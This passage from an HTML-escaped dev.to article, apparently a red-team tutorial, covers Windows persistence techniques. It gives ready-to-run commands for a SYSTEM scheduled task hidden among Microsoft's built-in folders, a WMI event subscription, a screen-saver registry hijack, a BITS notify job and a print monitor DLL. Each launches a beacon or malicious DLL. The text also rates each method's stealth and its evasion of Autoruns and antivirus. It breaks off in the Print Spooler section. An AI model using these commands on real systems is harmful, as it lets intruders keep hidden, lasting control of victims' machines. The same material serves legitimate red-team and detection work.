class="kd"&gt;double&lt;/span&gt; &lt;span class="kd"&gt;quotes&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="kd"&gt;inner&lt;/span&gt; &lt;span class="kd"&gt;quotes&lt;/span&gt; &lt;span class="kd"&gt;can&lt;/span&gt; &lt;span class="kd"&gt;be&lt;/span&gt; &lt;span class="kd"&gt;single&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="kd"&gt;escaped&lt;/span&gt; &lt;span class="kd"&gt;double&lt;/span&gt; &lt;span class="kd"&gt;quotes&lt;/span&gt;:
        &lt;span class="kd"&gt;SCHTASKS&lt;/span&gt; &lt;span class="na"&gt;/Create /tr &lt;/span&gt;&lt;span class="s2"&gt;"'c:\program files\internet explorer\iexplorer.exe' \"&lt;/span&gt;&lt;span class="kd"&gt;c&lt;/span&gt;:\log &lt;span class="kd"&gt;data&lt;/span&gt;\today.xml\&lt;span class="s2"&gt;""&lt;/span&gt; ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "Task Scheduler Library" contains folders. In a pristine Windows installation, there are no scheduled tasks in the root directory, as shown:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Facyvs1577fkm94w3g7jq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Facyvs1577fkm94w3g7jq.png" alt=" " width="800" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Naturally, subdirectories are also empty:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hf7pd7efkwh9d4qyd4o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hf7pd7efkwh9d4qyd4o.png" alt=" " width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcqk2rnx8u8lf253wzvgx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcqk2rnx8u8lf253wzvgx.png" alt=" " width="800" height="347"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All built‑in tasks reside deep within nested folders. To maintain stealth, it is advisable to adhere to the default Windows convention by creating our own subdirectory and task under &lt;code&gt;\Microsoft\Windows\&lt;/code&gt;. Example command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A beacon is received without requiring user logon:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F81grdukopp6u725bakfp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F81grdukopp6u725bakfp.png" alt=" " width="800" height="402"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the process tree, the malicious process is spawned by &lt;code&gt;taskeng.exe&lt;/code&gt;, the Task Scheduler engine. Its stealth is inferior to DLL services but superior to auto‑start registry keys.&lt;br&gt;&lt;br&gt;
However, another significant issue emerges: the &lt;code&gt;SCHTASKS&lt;/code&gt; command has incomplete functionality. Many configuration options cannot be manipulated, such as adding multiple triggers simultaneously or modifying settings in the "Conditions" and "Settings" tabs, as shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F58afr39kavd2bw64l3jx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F58afr39kavd2bw64l3jx.png" alt=" " width="799" height="490"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Figyig95qddxmbwd86b1u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Figyig95qddxmbwd86b1u.png" alt=" " width="800" height="670"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These options remain at their creation defaults, meaning our scheduled task will not start upon wake from sleep, will stop when AC power is disconnected, and will automatically cease after three days. Yet these advanced settings cannot be configured via command line. A search of the Microsoft community yielded the following official response:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fge3acras554txd6iqqqi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fge3acras554txd6iqqqi.png" alt=" " width="798" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is both amusing and frustrating. For normal users, this is unproblematic, but for red teams, manipulating the GUI is inconvenient. While one could craft a DLL module or executable that directly calls the Win32 API to modify these settings, that requires uploading an additional file, reducing efficiency. Therefore, scheduled task persistence can serve only as a fallback measure, not a fully reliable method.&lt;br&gt;&lt;br&gt;
A somewhat similar vector is Group Policy. Startup scripts can execute cmd or PowerShell scripts to run arbitrary commands, but because the command‑line version of the Group Policy Editor is far too limited, it will not be expanded upon here. (If desktop access is available, configuring a startup script directly via &lt;code&gt;gpedit.msc&lt;/code&gt; achieves persistence with relatively high stealth.)&lt;/p&gt;
&lt;h2&gt;
  
  
  0x05 WMI
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator privileges without UAC reduction.&lt;br&gt;&lt;br&gt;
WMI can be regarded as a set of APIs that interact directly with the Windows operating system. Being a native tool that requires no installation, it is also a valuable aid for persistence.&lt;br&gt;&lt;br&gt;
Because WMI events execute in a loop, to avoid spawning countless shells, one can restrict execution using the system uptime (as long as the trigger delay falls within the specified window; some machines boot slowly, so the start time should be set higher). Example commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;wmic&lt;/span&gt; &lt;span class="na"&gt;/NAMESPACE&lt;/span&gt;:&lt;span class="s2"&gt;"\\root\subscription"&lt;/span&gt; &lt;span class="kd"&gt;PATH&lt;/span&gt; __EventFilter &lt;span class="kd"&gt;CREATE&lt;/span&gt; &lt;span class="kd"&gt;Name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"evil"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;EventNameSpace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"root\cimv2"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="kd"&gt;QueryLanguage&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"WQL"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;Query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime &amp;gt;= 240 AND TargetInstance.SystemUpTime &amp;lt; 310"&lt;/span&gt;

&lt;span class="nb"&gt;wmic&lt;/span&gt; &lt;span class="na"&gt;/NAMESPACE&lt;/span&gt;:&lt;span class="s2"&gt;"\\root\subscription"&lt;/span&gt; &lt;span class="kd"&gt;PATH&lt;/span&gt; &lt;span class="kd"&gt;CommandLineEventConsumer&lt;/span&gt; &lt;span class="kd"&gt;CREATE&lt;/span&gt; &lt;span class="kd"&gt;Name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"evilConsumer"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ExecutablePath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\hunter\Desktop\beacon.exe"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="kd"&gt;CommandLineTemplate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\hunter\Desktop\beacon.exe"&lt;/span&gt;

&lt;span class="nb"&gt;wmic&lt;/span&gt; &lt;span class="na"&gt;/NAMESPACE&lt;/span&gt;:&lt;span class="s2"&gt;"\\root\subscription"&lt;/span&gt; &lt;span class="kd"&gt;PATH&lt;/span&gt; __FilterToConsumerBinding &lt;span class="kd"&gt;CREATE&lt;/span&gt; &lt;span class="kd"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"__EventFilter.Name=\"&lt;/span&gt;&lt;span class="kd"&gt;evil&lt;/span&gt;\&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;Consumer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"CommandLineEventConsumer.Name=\"&lt;/span&gt;&lt;span class="kd"&gt;evilConsumer&lt;/span&gt;\&lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Due to possible variations in the exact timing window, multiple beacons may appear in certain circumstances:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgq6a0v11c2b17m55u3x2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgq6a0v11c2b17m55u3x2.png" alt=" " width="800" height="82"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Inspecting the process tree reveals moderate stealth:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcymgee1zn4x8btj12747.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcymgee1zn4x8btj12747.png" alt=" " width="800" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  0x06 Screen Saver
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Standard user.&lt;br&gt;&lt;br&gt;
Although not all users employ a screen saver, the relevant configuration is conveniently stored in the registry, as shown in the four keys below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26lbjqtf5ihuooi1s4yo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26lbjqtf5ihuooi1s4yo.png" alt=" " width="729" height="249"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Full paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Write directly to the registry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="s2"&gt;"hkcu\control panel\desktop"&lt;/span&gt; &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;SCRNSAVE&lt;/span&gt;&lt;span class="err"&gt;.EXE&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Users\hunter\Desktop\beacon.exe &lt;span class="na"&gt;/f
&lt;/span&gt;&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="s2"&gt;"hkcu\control panel\desktop"&lt;/span&gt; &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;ScreenSaveActive&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="na"&gt;/f
&lt;/span&gt;&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="s2"&gt;"hkcu\control panel\desktop"&lt;/span&gt; &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;ScreenSaverIsSecure&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="na"&gt;/f
&lt;/span&gt;&lt;span class="nb"&gt;reg&lt;/span&gt; &lt;span class="kd"&gt;add&lt;/span&gt; &lt;span class="s2"&gt;"hkcu\control panel\desktop"&lt;/span&gt; &lt;span class="na"&gt;/v &lt;/span&gt;&lt;span class="kd"&gt;ScreenSaveTimeOut&lt;/span&gt; &lt;span class="na"&gt;/d &lt;/span&gt;&lt;span class="m"&gt;60&lt;/span&gt; &lt;span class="na"&gt;/f
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examining the process tree shows it is spawned by &lt;code&gt;winlogon.exe&lt;/code&gt; – stealth is moderate:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3mllhapjx2x7yrdpnpvk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3mllhapjx2x7yrdpnpvk.png" alt=" " width="181" height="88"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A minor pitfall: if a screen saver has never been configured, all keys except &lt;code&gt;ScreenSaveActive&lt;/code&gt; (which defaults to 1) do not exist. Proper screen saver operation requires all keys to hold data; therefore, all four must be rewritten. Additionally, testing shows the shortest trigger time is 60 seconds – even if a smaller value is set, the programme still executes after 60 seconds.&lt;br&gt;&lt;br&gt;
Naturally, as indicated by the registry path, this method yields a shell with only current‑user privileges. Its advantage is that it does not require elevation.&lt;/p&gt;
&lt;h2&gt;
  
  
  0x07 Background Intelligent Transfer Service (BITS)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator rights (UAC bypass allowed).&lt;br&gt;&lt;br&gt;
The Background Intelligent Transfer Service (BITS) facilitates the transfer of large amounts of data without degrading network performance. It accomplishes this by transferring data in small blocks, utilising available idle bandwidth, and reassembling the data at the destination. BITS is supported on Microsoft® Windows Server 2003 family operating systems and Microsoft® Windows 2000. (Source: Baidu Baike)&lt;br&gt;&lt;br&gt;
Many online "penetration testing tutorials" include using the &lt;code&gt;bitsadmin&lt;/code&gt; command to download files or execute commands, but it can also be employed for persistence and can evade detection by Autoruns and anti‑virus protection against auto‑start command execution.&lt;br&gt;&lt;br&gt;
Adding a task is straightforward, requiring only four commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;bitsadmin&lt;/span&gt; &lt;span class="na"&gt;/create &lt;/span&gt;&lt;span class="kd"&gt;evil&lt;/span&gt;
&lt;span class="nb"&gt;bitsadmin&lt;/span&gt; &lt;span class="na"&gt;/addfile &lt;/span&gt;&lt;span class="kd"&gt;evil&lt;/span&gt; &lt;span class="s2"&gt;"C:\Users\hunter\Desktop\beacon.exe"&lt;/span&gt; &lt;span class="s2"&gt;"C:\Users\hunter\Desktop\beacon.exe"&lt;/span&gt;
&lt;span class="nb"&gt;bitsadmin.exe&lt;/span&gt; &lt;span class="na"&gt;/SetNotifyCmdLine &lt;/span&gt;&lt;span class="kd"&gt;evil&lt;/span&gt; &lt;span class="s2"&gt;"C:\Users\hunter\Desktop\beacon.exe"&lt;/span&gt; &lt;span class="kd"&gt;NUL&lt;/span&gt;
&lt;span class="nb"&gt;bitsadmin&lt;/span&gt; &lt;span class="na"&gt;/Resume &lt;/span&gt;&lt;span class="kd"&gt;evil&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One advantage is that it can be executed within a reduced administrator session (bypassing UAC), and naturally the resulting beacon also operates with reduced privileges:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnce9081cdaaq6vmiuu7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnce9081cdaaq6vmiuu7.png" alt=" " width="800" height="114"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After a reboot, since the task has not been completed, the system will re‑launch it, thus achieving persistence. Although BITS tasks have a default lifetime of 90 days—after which they are automatically cancelled—this is sufficient for red team operations:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsbg4z8sv3yrgky3dcqt3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsbg4z8sv3yrgky3dcqt3.png" alt=" " width="800" height="678"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Inspecting the process tree, it is launched by &lt;code&gt;svchost.exe -k netsvcs&lt;/code&gt;. However, because it remains an independent process, stealth is moderate:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F15oryg198w9egqse1sx2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F15oryg198w9egqse1sx2.png" alt=" " width="800" height="823"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This method bypasses all current startup inspection tools; the only means of detection is through the &lt;code&gt;bitsadmin&lt;/code&gt; command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bitsadmin /list /allusers /verbose&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;All tasks are displayed as shown (screenshot from a different test machine, hence data differs):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F56bixo0pqnt5a1riitvy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F56bixo0pqnt5a1riitvy.png" alt=" " width="645" height="591"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  0x07 Print Spooler Service
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator privileges without UAC reduction.&lt;br&gt;&lt;br&gt;
The Print Spooler service manages print jobs in the Windows operating system. Because many users still rely on printers, optimisation software does not recommend disabling this service. The Print Spooler API includes a function, &lt;code&gt;AddMonitor&lt;/code&gt;, which installs a local port monitor and links configuration, data, and monitor files. This function injects a DLL into the &lt;code&gt;spoolsv.exe&lt;/code&gt; process to implement the desired functionality. The DLLs required by the system in its default state are as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flcy1uun0t16z81wco9zg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flcy1uun0t16z81wco9zg.png" alt=" " width="632" height="56"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtuk93bthr2f7yxmeyal.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtuk93bthr2f7yxmeyal.png" alt=" " width="666" height="62"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F676t9urxao7r6scu4jyf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F676t9urxao7r6scu4jyf.png" alt=" " width="654" height="58"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkho0j1cqsppj2426twu8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkho0j1cqsppj2426twu8.png" alt=" " width="676" height="52"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4qnr1b8cvqu5cwosvej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4qnr1b8cvqu5cwosvej.png" alt=" " width="666" height="70"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These DLLs contain print‑driver‑related content. We can exploit this mechanism to plant a malicious DLL. Of course, as with service registration, this requires full administrator privileges.&lt;br&gt;&lt;br&gt;
First, place the malicious DLL in &lt;code&gt;C:\Windows\System32\&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5hcvqsbrjy2ryfif3d84.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5hcvqsbrjy2ryfif3d84.png" alt=" " width="800" height="377"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then execute the command to add the relevant registry entry and the Driver key:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0qvtaqxqfp1i115gwh56.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0qvtaqxqfp1i115gwh56.png" alt=" " width="800" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After reboot, the malicious DLL is automatically loaded into &lt;code&gt;spoolsv.exe&lt;/code&gt;, offering high stealth:&lt;/p&gt;

